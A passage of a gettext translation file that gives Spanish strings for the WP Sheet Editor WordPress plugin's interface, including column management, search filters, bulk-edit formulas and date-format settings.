guarda el archivo en la base de datos?" #: columns-manager/columns-manager.php:1312 msgid "" "The cell will display the values as URLs and you can edit in the cells using " "full URLs, file ID, or file name.
                  External URLs are automatically " "imported into the media library.
                  We will save the value in the format " "selected here" msgstr "" "La celda mostrará los valores como URLs y puedes editar en las celdas usando " "URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs " "externas se importan automáticamente en la biblioteca multimedia." "
                  Guardaremos el valor en el formato seleccionado aquí" #: columns-manager/columns-manager.php:1316 msgid "Allow multiple files per field?" msgstr "¿Permitir varios archivos por campo?" #: columns-manager/columns-manager.php:1317 msgid "How do you want to save the multiple files?" msgstr "¿Cómo quieres guardar los archivos múltiples?" #: columns-manager/columns-manager.php:1322 msgid "What date format do you want to display in the spreadsheet?" msgstr "¿Qué formato de fecha quieres mostrar en la hoja de cálculo?" #: columns-manager/columns-manager.php:1323 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d" #: columns-manager/columns-manager.php:1326 #: columns-manager/columns-manager.php:1335 msgid "What date format do you want to save in the database?" msgstr "¿Qué formato de fecha quieres guardar en la base de datos?" #: columns-manager/columns-manager.php:1327 msgid "" "Enter a date format. List of formats. Example: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d" #: columns-manager/columns-manager.php:1331 msgid "What date time format do you want to display in the spreadsheet?" msgstr "" "¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?" #: columns-manager/columns-manager.php:1332 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "D-M-A\n" "\n" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d H:i:s" #: columns-manager/columns-manager.php:1336 msgid "" "Enter a date format. List of formats. Example: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d H:i:s" #: columns-manager/inc/column-groups.php:49 msgid "Spreadsheet views" msgstr "Vista de hojas de cálculo" #: columns-manager/inc/column-groups.php:82 #: wp-sheet-editor/dev/inc/options-init.php:562 #: wp-sheet-editor/dev/wp-sheet-editor.php:1147 msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #: columns-manager/inc/column-groups.php:83 msgid "" "Note. This is not a security feature, the user can edit all the fields in " "the normal editor based on the role. This option is for convenience, so they " "only see the columns they need when they open the spreadsheet editor. If you " "leave these fields empty they can switch between all the existing views" msgstr "" "Nota. Esta no es una característica de seguridad, el usuario puede editar " "todos los campos en el editor normal basado en el rol. Esta opción es por " "conveniencia, para que los usuarios puedan solo ver las columnas que " "necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, " "podrán cambiar entre todas las vistas existentes" #: columns-manager/inc/column-groups.php:100 msgid "%s: Allowed spreadsheet views" msgstr "%s: Hojas de cálculo permitidas" #: columns-manager/inc/column-groups.php:103 msgid "Please enter the name of the spreadsheet views separated by commas." msgstr "" "Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas " "por comas." #: columns-manager/inc/column-groups.php:332 msgid "Add a name for this group of columns" msgstr "Agrega un nombre para este grupo de columnas" #: columns-manager/inc/column-groups.php:332 msgid "" "We will save this group of columns as a spreadsheet view and you can switch " "between spreadsheets in the toolbar" msgstr "" "Guardaremos este grupo de columnas como una vista de la hoja de cálculo y " "podrás cambiar entre vistas en la barra de herramientas" #: columns-renaming/columns-renaming.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:326 msgid "Rename column" msgstr "Renombrar columna" #: columns-renaming/columns-renaming.php:59 #: columns-visibility/columns-visibility.php:156 #: columns-visibility/columns-visibility.php:169 #: columns-visibility/columns-visibility.php:209 #: universal-sheet/universal-sheet.php:139 woocommerce/inc/attributes.php:795 #: woocommerce/inc/attributes.php:1015 woocommerce/inc/variations.php:1252 #: woocommerce/inc/variations.php:1279 wp-sheet-editor/dev/inc/ajax.php:73 #: wp-sheet-editor/dev/inc/ajax.php:160 wp-sheet-editor/dev/inc/ajax.php:192 #: wp-sheet-editor/dev/inc/ajax.php:237 wp-sheet-editor/dev/inc/ajax.php:284 #: wp-sheet-editor/dev/inc/ajax.php:305 wp-sheet-editor/dev/inc/ajax.php:383 msgid "Missing parameters." msgstr "Parámetros faltantes." #: columns-renaming/columns-renaming.php:63 #: columns-visibility/columns-visibility.php:160 #: columns-visibility/columns-visibility.php:173 #: columns-visibility/columns-visibility.php:269 msgid "You dont have enough permissions to execute this action." msgstr "No tienes suficientes permisos para ejecutar esta acción." #: columns-visibility/columns-visibility.php:164 msgid "" "Columns restored successfully, please reload the page to see the restored " "columns and enable them" msgstr "" "Columnas restauradas con éxito. Por favor, recarga la página para ver las " "columnas restauradas y habilitarlas" #: columns-visibility/columns-visibility.php:356 msgid "Hide / Display / Sort columns" msgstr "Ocultar / Mostrar columnas" #: columns-visibility/views/form.php:12 msgid "" "Drag the columns to the left or right side to enable/disable them, drag them " "to the top or bottom to sort them, click on the \"edit\" button to rename " "them, click on the \"x\" button to delete them completely (only when they " "are disabled previously)." msgstr "" "Arrastra las columnas a la izquierda o a la derecha para habilitarlas/" "deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. " "Haz clic en el botón \"editar\" para renombrarlas, haz clic en el botón " "\"x\" para borrarlas por completo (sólo cuando estén deshabilitadas " "previamente)." #: columns-visibility/views/form.php:15 columns-visibility/views/form.php:73 msgid "Enable all" msgstr "Habilitar todas" #: columns-visibility/views/form.php:16 columns-visibility/views/form.php:27 msgid "Disable all" msgstr "Deshabilitar todas" #: columns-visibility/views/form.php:22 msgid "Enabled" msgstr "Habilitadas" #: columns-visibility/views/form.php:22 columns-visibility/views/form.php:67 msgid "Bulk" msgstr "Masivo" #: columns-visibility/views/form.php:24 columns-visibility/views/form.php:70 msgid "Enter a search term..." msgstr "Ingresa un término de búsqueda..." #: columns-visibility/views/form.php:26 columns-visibility/views/form.php:72 #: universal-sheet/views/import-modal.php:85 msgid "Bulk actions" msgstr "Acciones masivas" #: columns-visibility/views/form.php:28 columns-visibility/views/form.php:75 msgid "Sort alphabetically ASC" msgstr "Ordenar alfabéticamente ASC" #: columns-visibility/views/form.php:29 columns-visibility/views/form.php:76 msgid "Sort alphabetically DESC" msgstr "Ordenar alfabéticamente DESC" #: columns-visibility/views/form.php:56 columns-visibility/views/form.php:99 msgid "" "Remove column completely. If you want to use it later you can disable it by " "dragging and dropping to the right column" msgstr "" "Quitar la columna completamente. Si quieres usarla más tarde, puedes " "deshabilitarla arrastrando y soltando a la columna de la derecha" #: columns-visibility/views/form.php:58 columns-visibility/views/form.php:101 msgid "Disable column. You can enable it later." msgstr "Deshabilitar columna. Puedes habilitarla más tarde." #: columns-visibility/views/form.php:59 columns-visibility/views/form.php:102 msgid "Enable column" msgstr "Habilitar columna" #: columns-visibility/views/form.php:67 msgid "Disabled" msgstr "Deshabilitada" #: columns-visibility/views/form.php:74 msgid "Delete all" msgstr "Borrar todo" #: columns-visibility/views/form.php:95 msgid "Enabling this column requires a page reload" msgstr "Habilitar esta columna requiere una recarga de la página" #: columns-visibility/views/form.php:114 msgid "A column is missing?" msgstr "¿Falta una columna?" #: columns-visibility/views/form.php:116 msgid "" "- First, edit one item in the normal editor and fill all the fields manually." msgstr "" "- Primero, edita un elemento en el editor normal y rellena todos los campos " "manualmente." #: columns-visibility/views/form.php:125 msgid "" "- We can scan the database, find new fields, and create columns automatically" msgstr "" "- Podemos escanear la base de datos, encontrar nuevos campos y crear " "columnas automáticamente" #: columns-visibility/views/form.php:132 msgid "You can do this multiple times" msgstr "Puedes hacer esto varias veces" #: columns-visibility/views/form.php:132 msgid "Scan Now" msgstr "Escanear Ahora" #: columns-visibility/views/form.php:137 msgid "- If the previous solution failed, you can create new columns manually." msgstr "" "- Si la solución anterior falló, puedes crear nuevas columnas manualmente." #: columns-visibility/views/form.php:137 msgid "Create column" msgstr "Crear columna" #: columns-visibility/views/form.php:139 msgid "- Maybe you deleted the columns from the list." msgstr "- Quizá eliminaste las columnas de la lista." #: columns-visibility/views/form.php:139 msgid "Restore deleted columns" msgstr "Restaurar columnas eliminadas" #: columns-visibility/views/form.php:140 msgid "- We can help you." msgstr "- Podemos ayudarte." #: columns-visibility/views/form.php:140 #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #: wp-sheet-editor/dev/wp-sheet-editor.php:1056 msgid "Contact us" msgstr "Contáctanos" #: columns-visibility/views/form.php:146 msgid "Save these settings for future sessions?" msgstr "¿Guardar estos ajustes para sesiones futuras?" #: columns-visibility/views/form.php:154 msgid "Apply settings" msgstr "Aplicar ajustes" #: columns-visibility/views/form.php:155 filters/filters.php:573 #: formulas/inc/ui.php:153 universal-sheet/views/import-modal.php:228 #: woocommerce/views/spreadsheet-create-variations-modal.php:112 #: wp-sheet-editor/dev/inc/integrations/notifier.php:296 #: wp-sheet-editor/dev/inc/teasers/formulas.php:76 #: wp-sheet-editor/dev/inc/teasers/frontend.php:78 #: wp-sheet-editor/dev/inc/teasers/post-types.php:133 #: wp-sheet-editor/dev/views/editor-page.php:289 #: wp-sheet-editor/dev/views/editor-page.php:340 #: wp-sheet-editor/dev/views/editor-page.php:364 #: wp-sheet-editor/dev/views/extensions-modal.php:10 #: wp-sheet-editor/dev/views/settings-form.php:121 #: wp-sheet-editor/dev/views/support-modal.php:24 msgid "Close" msgstr "Cerrar" #: custom-columns/custom-columns.php:431 msgid "Add columns for custom fields" msgstr "Añadir columnas nuevas para campos personalizados" #: custom-columns/custom-columns.php:580 msgid "Missing columns" msgstr "Columnas faltantes" #: custom-columns/custom-columns.php:622 msgid "Missing post type or column_key" msgstr "Falta el post type o la column_key (clave de la columna)" #: custom-columns/custom-columns.php:625 custom-columns/custom-columns.php:649 #: custom-columns/custom-columns.php:672 msgid "" "You are not allowed to do this action. Please reload the page or log in " "again." msgstr "" "No puedes realizar esta acción. Por favor, recarga la página o inicia sesión " "de nuevo." #: custom-columns/custom-columns.php:635 msgid "The meta field was deleted successfully" msgstr "El campo meta fue eliminado con éxito" #: custom-columns/custom-columns.php:639 msgid "The meta field could not be deleted." msgstr "El campo meta no pudo ser eliminado." #: custom-columns/custom-columns.php:646 msgid "" "Missing post type, old_column_key, or new_column_key; or the old and new key " "are the same." msgstr "" "Falta el post type, old_column_key, o new_column_key; o la clave antigua y " "la clave nueva son iguales." #: custom-columns/custom-columns.php:662 msgid "The meta key was renamed successfully" msgstr "La clave meta fue renombrada con éxito" #: custom-columns/custom-columns.php:666 msgid "The meta key couldnt be renamed." msgstr "La clave meta no pudo ser renombrada." #: custom-columns/custom-columns.php:703 msgid "Columns could not be saved. Try again." msgstr "Las columnas no se pudieron guardar. Inténtalo de nuevo." #: custom-columns/custom-columns.php:706 msgid "Changes saved" msgstr "Cambios guardados" #: custom-columns/custom-columns.php:720 msgid "Are you sure you want to delete this column?" msgstr "¿Estás seguro de que quieres borrar esta columna?" #: custom-columns/custom-columns.php:728 msgid "Custom columns" msgstr "Columnas personalizadas" #: custom-columns/views/settings-page.php:11 #: spreadsheet-setup/views/page.php:11 #: wp-sheet-editor/dev/inc/api/bootstrap.php:146 #: wp-sheet-editor/dev/views/editor-page.php:70 #: wp-sheet-editor/dev/views/extensions-page.php:16 #: wp-sheet-editor/dev/views/quick-setup.php:28 #: wp-sheet-editor/dev/views/settings-page.php:5 #: wp-sheet-editor/dev/views/whats-new.php:12 #: wp-sheet-editor/dev/wp-sheet-editor.php:1153 msgid "Sheet Editor" msgstr "Sheet Editor" #: custom-columns/views/settings-page.php:14 msgid "Add New Columns to the Spreadsheet" msgstr "Agregar nuevas columnas a la hoja de cálculo" #: custom-columns/views/settings-page.php:16 msgid "" "Enter the column name (anything you want), and select the field key from the " "dropdown. If you dont find it you can type it in the dropdown. View Tutorial" msgstr "" "Ingresa el nombre de la columna (lo que quieras) y selecciona la clave de " "campo en el menú desplegable. Si no la encuentras, puedes escribirla en el " "desplegable. Ver Tutorial " #: custom-columns/views/settings-page.php:17 msgid "" "Enable the advanced mode at the bottom of the page to customize the column " "width, format (editor, file upload, taxonomies), etc." msgstr "" "Habilita el modo avanzado en la parte inferior de la página para " "personalizar el ancho de la columna, el formato (editor, carga de archivos, " "taxonomías), etc." #: custom-columns/views/settings-page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "Need help? Contact us" msgstr "¿Necesitas ayuda? Contáctanos" #: custom-columns/views/settings-page.php:38 msgid "Column name" msgstr "Nombre de columna" #: custom-columns/views/settings-page.php:38 msgid "The column name displayed in the spreadsheet" msgstr "Nombre de la columna que se muestra en la hoja de cálculo" #: custom-columns/views/settings-page.php:42 msgid "Column key" msgstr "Clave de la columna" #: custom-columns/views/settings-page.php:42 msgid "" "The key that will be used for saving the information in the database. This " "must be unique, only letters and underscores." msgstr "" "Clave que se utilizará para guardar la información en la base de datos. Debe " "ser única, sólo letras y guiones bajos." #: custom-columns/views/settings-page.php:62 msgid "Data source" msgstr "Fuente de datos" #: custom-columns/views/settings-page.php:62 msgid "Select the kind of information used in the cells of this column." msgstr "" "Selecciona el tipo de información utilizada en las celdas de esta columna." #: custom-columns/views/settings-page.php:64 msgid "Post data" msgstr "Datos del post" #: custom-columns/views/settings-page.php:65 msgid "Post meta (i.e. metaboxes)" msgstr "Meta del post (es decir, metaboxes)" #: custom-columns/views/settings-page.php:66 msgid "Post terms (i.e. categories)" msgstr "Términos del post (es decir, categorías)" #: custom-columns/views/settings-page.php:70 msgid "Post type(s)" msgstr "Post type(s)" #: custom-columns/views/settings-page.php:70 msgid "What kind of posts require this column in the spreadsheet?" msgstr "¿Qué post types requieren esta columna en la hoja de cálculo?" #: custom-columns/views/settings-page.php:95 msgid "Allow to edit using formulas?" msgstr "¿Permitir editar usando fórmulas?" #: custom-columns/views/settings-page.php:95 msgid "If you disable this option, this column will be edited manually only." msgstr "Si deshabilitas esta opción, esta columna sólo se editará manualmente." #: custom-columns/views/settings-page.php:99 msgid "Allow to hide column?" msgstr "¿Permitir ocultar la columna?" #: custom-columns/views/settings-page.php:99 msgid "Allow to hide this column on the settings page?" msgstr "¿Permitir ocultar esta columna en la página de ajustes?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column?" msgstr "¿Permitir renombrar la columna?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column on the settings page?" msgstr "¿Permitir renombrar la columna en la página de ajustes?" #: custom-columns/views/settings-page.php:107 msgid "Cell type" msgstr "Tipo de celda" #: custom-columns/views/settings-page.php:107 msgid "" "Select the format of the cells, if the cells should be normal text, a file " "uploader, or text editor." msgstr "" "Selecciona el formato de las celdas, si las celdas deben ser de texto " "normal, un cargador de archivos o un editor de texto." #: custom-columns/views/settings-page.php:110 msgid "Normal cell" msgstr "Celda normal" #: custom-columns/views/settings-page.php:111 msgid "TinyMCE Editor" msgstr "Editor TinyMCE" #: custom-columns/views/settings-page.php:112 msgid "File upload (single)" msgstr "Carga de archivos (individual)" #: custom-columns/views/settings-page.php:113 msgid "File upload (multiple)" msgstr "Carga de archivos (múltiple)" #: custom-columns/views/settings-page.php:117 msgid "Plain text mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:119 #: custom-columns/views/settings-page.php:128 msgid "Simple text" msgstr "Texto simple" #: custom-columns/views/settings-page.php:120 #: custom-columns/views/settings-page.php:129 msgid "Calendar" msgstr "Calendario" #: custom-columns/views/settings-page.php:121 msgid "Taxonomy dropdown. Only if data source = post terms." msgstr "" "Menú desplegable de taxonomías. Sólo si la fuente de datos = Términos del " "post." #: custom-columns/views/settings-page.php:122 #: custom-columns/views/settings-page.php:131 msgid "Unfiltered HTML" msgstr "HTML sin filtrar" #: custom-columns/views/settings-page.php:126 msgid "Formatted cell mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:130 msgid "Taxonomy dropdown" msgstr "Desplegado de taxonomías" #: custom-columns/views/settings-page.php:135 msgid "Column width (pixels)" msgstr "Ancho de columna (pixeles)" #: custom-columns/views/settings-page.php:141 formulas/inc/ui.php:195 msgid "Delete" msgstr "Eliminar" #: custom-columns/views/settings-page.php:148 #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:339 msgid "Add new column" msgstr "Añadir nueva columna" #: custom-columns/views/settings-page.php:152 msgid "Advanced mode" msgstr "Modo avanzado" #: factory.php:226 wp-sheet-editor/dev/wp-sheet-editor.php:1356 msgid "My license" msgstr "Mi licencia" #: filters/filters.php:197 msgid "" "To search among all posts use the Search tool. Use this to locate and " "highlight one value in the loaded rows in the spreadsheet. I.e. highlight a " "SKU or email or title." msgstr "" "Para buscar entre todos los posts, usa la herramienta de búsqueda. Se usa " "para localizar y resaltar un valor en las filas cargadas en la hoja de " "cálculo. Es decir, resaltar un SKU, correo electrónico o título específico." #: filters/filters.php:198 msgid "Locate cell" msgstr "Localizar celda" #: filters/filters.php:199 msgid "Locate cell." msgstr "Localizar celda." #: filters/filters.php:207 msgid "" "Enter a word and we will find the first matching column. You will avoid " "scrolling through dozens of columns to find the one you need." msgstr "" "Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás " "tener que desplazarte por docenas de columnas para encontrar la que " "necesitas." #: filters/filters.php:208 filters/filters.php:209 msgid "Locate column" msgstr "Localizar columna" #: filters/filters.php:224 filters/filters.php:236 filters/filters.php:521 msgid "Search" msgstr "Buscar" #: filters/filters.php:236 msgid "Quick search" msgstr "Búsqueda rápida" #: filters/filters.php:236 msgid "Enter a keyword" msgstr "Ingresa una palabra clave" #: filters/filters.php:491 msgid "Contains keyword" msgstr "Contiene palabra clave" #: filters/filters.php:492 msgid "" "It searches in the post title and post content. Search by multiple keywords " "separating keywords with a semicolon (;)" msgstr "" "Busca en el título de la entrada y en su contenido. Busca por varias " "palabras clave separándolas con punto y coma (;)" #: filters/filters.php:501 wp-sheet-editor/dev/inc/api/bootstrap.php:705 #: wp-sheet-editor/dev/inc/teasers/post-types.php:99 msgid "Status" msgstr "Estado" #: filters/filters.php:559 msgid "Enter a username or email..." msgstr "Ingresa un nombre de usuario o correo electrónico..." #: filters/filters.php:572 msgid "Run search" msgstr "Ejecutar búsqueda" #: formulas/formulas.php:84 msgid "Invalid #898AJSI. The replace requires 2 parameters, we received one" msgstr "" "#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno" #: formulas/formulas.php:97 msgid "Invalid #8W89PQ. Math formula is empty." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:102 msgid "Invalid #PQ8SPQ. The math formula contains a comma: %s" msgstr "#PQ8SPQ inválido. La fórmula matemática contiene una coma: %s" #: formulas/formulas.php:107 msgid "Invalid #8W89PWQ. Math formula is invalid." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:118 msgid "Invalid #PQ8PHP. The PHP function does not exist: %s" msgstr "#PQ8SPQ inválido. La función PHP no existe: %s" #: formulas/formulas.php:123 msgid "" "Invalid #8W23CV. We accept MATH and REPLACE formulas only, we received an " "unknown formula type." msgstr "" "#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un " "tipo de fórmula desconocida." #: formulas/formulas.php:179 msgid "The random values could not be read." msgstr "Los valores aleatorios no pudieron ser leídos." #: formulas/formulas.php:319 msgid "" "The math formula can't be applied. We found some existing data is not " "numeric. Data found: %1$s, ID: %2$d" msgstr "" "No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no " "es numérico. Datos encontrados: %1$s, ID: %2$d" #: formulas/formulas.php:333 msgid "" "Error. The math engine could not execute the math operation: %1$s, ID: %2$d" msgstr "" "Error. El motor matemático no pudo ejecutar la operación matemática: %1$s, " "ID: %2$d" #: formulas/formulas.php:449 msgid "The search parameter must contain $current_value$ only" msgstr "El parámetro de búsqueda debe contener $current_value$ solamente" #: formulas/formulas.php:457 msgid "Value in the replace section is not valid" msgstr "El valor en la sección de reemplazo no es válido" #: formulas/formulas.php:837 msgid "You do not have permission to delete posts." msgstr "No tiene suficientes permisos para borrar filas." #: formulas/formulas.php:882 msgid "Missing number and time unit." msgstr "Falta el número y la unidad de tiempo." #: formulas/formulas.php:886 msgid "Invalid time unit." msgstr "Unidad de tiempo inválida." #: formulas/formulas.php:891 msgid "Please indicate which terms you want to remove." msgstr "Por favor, indica cuáles términos quieres remover." #: formulas/formulas.php:897 msgid "Only administrators are allowed to send emails to users." msgstr "" "Solo los administradores pueden enviar correos electrónicos a los usuarios." #: formulas/formulas.php:900 msgid "Please enter the email subject and email message." msgstr "Ingresa el asunto y el mensaje del correo electrónico." #: formulas/formulas.php:904 msgid "The column selected is not valid." msgstr "La columna seleccionada no es válida." #: formulas/formulas.php:954 msgid "" "Error. The status column must be enabled in the spreadsheet before we can " "remove duplicates." msgstr "" "Error. La columna \"Estado\" debe estar habilitada en la hoja de cálculo " "antes de remover los duplicados." #: formulas/formulas.php:1242 wp-sheet-editor/dev/inc/ajax.php:263 #: wp-sheet-editor/dev/inc/api/helpers.php:878 msgid "Error: %s" msgstr "Error: %s" #: formulas/formulas.php:1279 msgid "Bulk edit not executed. No items found matching the criteria." msgstr "" "Cambio masivo no ejecutado. No se han encontrado elementos que cumplan los " "criterios." #: formulas/formulas.php:1296 msgid "

                  Complete

                  ." msgstr "

                  Completo

                  ." #: formulas/formulas.php:1313 msgid "" "

                  Editing the field: " "{column_label}. Items to process: {total}, Progress: " "{progress_percentage}%%, We have updated {edited} items.

                  " msgstr "" "

                  Editando el campo: " "{column_label}. Filas a procesar: {total}, Progreso: " "{progress_percentage}%%, Hemos actualizado {edited} filas.

                  " #: formulas/inc/ui.php:70 formulas/inc/ui.php:176 msgid "Bulk Edit" msgstr "Editor Masivo" #: formulas/inc/ui.php:73 msgid "Using this tool you can update thousands of rows at once" msgstr "Usando esta herramienta puedes editar miles de filas a la vez" #: formulas/inc/ui.php:74 msgid "Need help? Check our tutorials" msgstr "¿Necesitas ayuda? Consulta nuestros tutoriales" #: formulas/inc/ui.php:79 msgid "Select the rows that you want to update." msgstr "Selecciona las filas que quieres editar." #: formulas/inc/ui.php:82 msgid "Edit all the rows from my current search (including non-visible rows)." msgstr "" "Editar todas las filas de mi búsqueda actual (incluyendo las filas no " "visibles)." #: formulas/inc/ui.php:83 msgid "I want to search rows to update and edit all the search results" msgstr "" "Quiero buscar las filas a editar y editar todos los resultados de la búsqueda" #: formulas/inc/ui.php:84 msgid "Edit the rows that I selected manually in the spreadsheet." msgstr "" "Editar las filas que he seleccionado manualmente en la hoja de cálculo." #: formulas/inc/ui.php:85 msgid "Edit the same rows that I manually selected previously" msgstr "Editar las mismas filas que seleccioné manualmente previamente" #: formulas/inc/ui.php:87 msgid "Make another search" msgstr "Hacer otra búsqueda" #: formulas/inc/ui.php:95 msgid "What field do you want to edit?" msgstr "¿Qué campo quieres editar?" #: formulas/inc/ui.php:96 formulas/inc/ui.php:101 #: universal-sheet/views/export-modal.php:26 msgid "Select column..." msgstr "Selecciona la columna...." #: formulas/inc/ui.php:98 msgid "" "A column is missing? Enable it" msgstr "" "¿Falta una columna? Habilítala " #: formulas/inc/ui.php:110 msgid "Use slower execution method?" msgstr "¿Usar un método de ejecución más lento?" #: formulas/inc/ui.php:110 msgid "" "The default way uses a faster execution method, but it might not work in all " "the cases. Use this option when the default way doesn't work or doesn't " "update all the posts." msgstr "" "La forma predeterminada usa un método de ejecución más rápido, pero puede " "que no funcione en todos los casos. Usa esta opción cuando la forma " "predeterminada no funciona o no actualiza todas las filas." #: formulas/inc/ui.php:115 msgid "%s rows will be edited." msgstr "%s filas serán editadas." #: formulas/inc/ui.php:115 msgid "You can select the rows for the edit in the first option of this form." msgstr "" "Puedes seleccionar las filas a editar en la primera opción de este " "formulario." #: formulas/inc/ui.php:126 msgid "I have a database backup, Execute Now" msgstr "Tengo una copia de seguridad de la base de datos. Ejecutar Ahora" #: formulas/inc/ui.php:128 msgid "Execute Now" msgstr "Ejecutar Ahora" #: formulas/inc/ui.php:135 msgid "" "

                  1- Please backup your database before executing, the changes are not " "reversible.

                  2- Make sure the bulk edit settings are correct before " "executing.

                  " msgstr "" "

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de " "ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los " "ajustes de la edición masiva son correctos antes de ejecutar.

                  " #: formulas/inc/ui.php:137 msgid "" "Careful. The changes are not reversible. Please double check proceeding." msgstr "" "Cuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el " "procedimiento." #: formulas/inc/ui.php:144 msgid "" "The bulk edit is running. Please dont close this window until the process " "has finished." msgstr "" "El cambio masivo se está ejecutando. Por favor, no cierres esta ventana " "hasta que el proceso haya terminado." #: formulas/inc/ui.php:146 msgid "" "Tip: The formula execution is too slow? Save more posts per batch
                  Are you getting " "errors when executing the formula? Save " "less posts per batch" msgstr "" "Consejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote " #: formulas/inc/ui.php:149 universal-sheet/views/export-modal.php:78 #: universal-sheet/views/import-modal.php:227 msgid "Pause" msgstr "Pausar" #: formulas/inc/ui.php:149 wp-sheet-editor/dev/views/quick-setup.php:78 #: wp-sheet-editor/dev/views/quick-setup.php:102 msgid "Go back" msgstr "Atrás" #: formulas/inc/ui.php:151 msgid "Processing..." msgstr "Procesando..." #: formulas/inc/ui.php:187 msgid "Edit" msgstr "Editar" #: formulas/inc/ui.php:206 msgid "Remove duplicates by title (delete the latest)" msgstr "Borrar los duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:214 msgid "Remove duplicates by title (delete the oldest)" msgstr "Borrar los duplicados por título (quitar los más antiguos)" #: formulas/inc/ui.php:222 msgid "Remove duplicates with same title and content (delete the latest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "nuevos)" #: formulas/inc/ui.php:230 msgid "Remove duplicates with same title and content (delete the oldest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "antiguos)" #: formulas/inc/ui.php:255 msgid "More options" msgstr "Más opciones" #: formulas/inc/ui.php:300 msgid "The bulk edit is missing important information, please fill the form." msgstr "" "A la edición masiva le falta información importante, por favor, completa el " "formulario." #: formulas/inc/ui.php:301 msgid "Select type of edit" msgstr "Selecciona el tipo de edición" #: formulas/inc/ui.php:302 msgid "- -" msgstr "- -" #: formulas/inc/ui.php:303 msgid "You entered an invalid formula. Please double check or contact us." msgstr "" "Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos." #: formulas/inc/ui.php:308 msgid "Remove terms from posts" msgstr "Remover términos de los posts" #: formulas/inc/ui.php:309 msgid "" "Enter one or multiple term names separated with %s or new lines. Enter the " "full hierarchy like \"Parent > Child\" to remove subcategories" msgstr "" "Ingresa uno o más términos separados por %s o uno nuevo en cada línea. " "Ingresa la jerarquía completa como \"Padre > Hijo\" para remover " "subcategorías" #: formulas/inc/ui.php:323 msgid "Add time to existing dates" msgstr "Agregar tiempo a las fechas existentes" #: formulas/inc/ui.php:324 msgid "" "Add hours, days, weeks, months, or years to the existing dates.
                  If the " "existing date is empty, we will use the current date as a base." msgstr "" "Agrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la " "fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Hours" msgstr "Horas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Days" msgstr "Días" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Weeks" msgstr "Semanas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Months" msgstr "Meses" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Years" msgstr "Años" #: formulas/inc/ui.php:345 formulas/inc/ui.php:373 msgid "Time unit" msgstr "Unidad de tiempo" #: formulas/inc/ui.php:351 msgid "Deduct time from existing dates" msgstr "Deducir tiempo de las fechas existentes" #: formulas/inc/ui.php:352 msgid "" "Deduct a number of hours, days, weeks, months, or years to the existing " "dates.
                  If the existing date is empty, we will use the current date as a " "base." msgstr "" "Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si " "la fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:379 msgid "Math operation" msgstr "Operación matemática" #: formulas/inc/ui.php:380 msgid "" "Update existing value with the result of a math operation.
                  The result is " "rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Actualiza el valor existente con el resultado de una operación matemática." "
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, " "3,845602 se convierte en 3,85" #: formulas/inc/ui.php:392 msgid "Math formula" msgstr "Fórmula matemática" #: formulas/inc/ui.php:393 msgid "" "Example 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 " "(Set regular price - 30%)" msgstr "" "Ejemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 " "(Establecer precio normal - 30%)" #: formulas/inc/ui.php:400 woocommerce/woocommerce.php:242 msgid "Decrease by percentage" msgstr "Disminuir en porcentaje" #: formulas/inc/ui.php:401 msgid "" "Decrease the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un porcentaje.
